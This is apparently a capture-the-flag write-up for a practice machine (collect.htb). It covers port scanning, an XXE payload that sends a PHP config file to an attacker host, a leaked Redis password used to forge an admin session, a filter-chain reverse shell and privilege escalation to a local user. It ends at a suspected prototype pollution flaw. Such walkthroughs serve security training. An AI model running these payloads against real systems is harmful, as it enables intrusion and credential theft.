# Ports
Open 10.10.11.192:22
Open 10.10.11.192:80
Open 10.10.11.192:6379
# Services
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
6379/tcp open redis syn-ack ttl 63 Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80
Checking the website will reveal the real hostname collect.htb
We'll add it to /etc/hosts for further enumeration
Port 6379
Nothing interesting because we aren't authenticated
redis-cli -h collect.htb
collect.htb:6379> info
NOAUTH Authentication required.
(1.62s)
After some try and error we are able to read files . Check bootstrap.php to receive the redis password!
xxe.dtd
Do it for index.php to get an overview and than check bootstrap.php which is mentioned in index.php
While poking around we also discovered /var/www/developers/.htpasswd
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.16.28/?file=%file;'>">
%eval;
%exfiltrate;
We'll use the basic auth creds to get a view of developers.collect.htb but there's nothing except a new login panel
Redis
We are now also able to access redis
redis-cli -h collect.htb
collect.htb:6379> AUTH COLLECTR3D1SPASS
OK
collect.htb:6379> info
# Keyspace
db0:keys=2,expires=2,avg_ttl=1137183
collect.htb:6379> keys *
# Our new session on developers.collect.htb
1) "PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird"
# Our session on collect.htb
3) "PHPREDIS_SESSION:b8gl9c885k7c52t61afnen4nj8"
collect.htb:6379> get PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird
""
collect.htb:6379> get PHPREDIS_SESSION:b8gl9c885k7c52t61afnen4nj8
"username|s:4:\"mrk1\";role|s:5:\"admin\";"
# Let's try to bypass developers.collect.htb login page
# We'll use auth|s:1:\"a\";
collect.htb:6379> set PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird "username|s:4:\"mrk1\";role|s:5:\"admin\";auth|s:1:\"a\";"
developers.collect.htb 2
We have successfully bypassed the login page and can now see the developers section.
The parameter ?page is vulnerable to remote code execution using filter chains. We will use this project Filter Chain Generator to get an reverse shell on the system :)
root 975 0.0 1.0 265400 40792 ? Ss Dec12 0:09 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
victor 1115 0.0 0.5 265840 20640 ? S Dec12 0:00 php-fpm: pool victor
victor 1116 0.0 0.4 265840 19400 ? S Dec12 0:00 php-fpm: pool victor
Privesc to Victor
We'll use this script to escalate our privileges to user "victor"
Once we have a shell as victor we start to enumerate the box again.
Enumeration
Seems like we can access the pollution_api source code
cd ~
ls /
Desktop Documents Downloads Music Pictures Public Templates Videos pollution_api user.txt
cd pollution_api
ls
controllers functions index.js log.sh logs models node_modules package-lock.json package.json routes
Check for any processes that are related to our api
ps aux | grep api
root 1347 0.0 1.9 1664540 76956 ? Sl Dec12 0:01 /usr/bin/node /root/pollution_api/index.js
/home/victor/pollution_api/controllers/Messages_send.js
While parsing through the source code we can spot a possible prototype pollution vulnerability
But checking the code will tell us that we need admin permissions on the api.
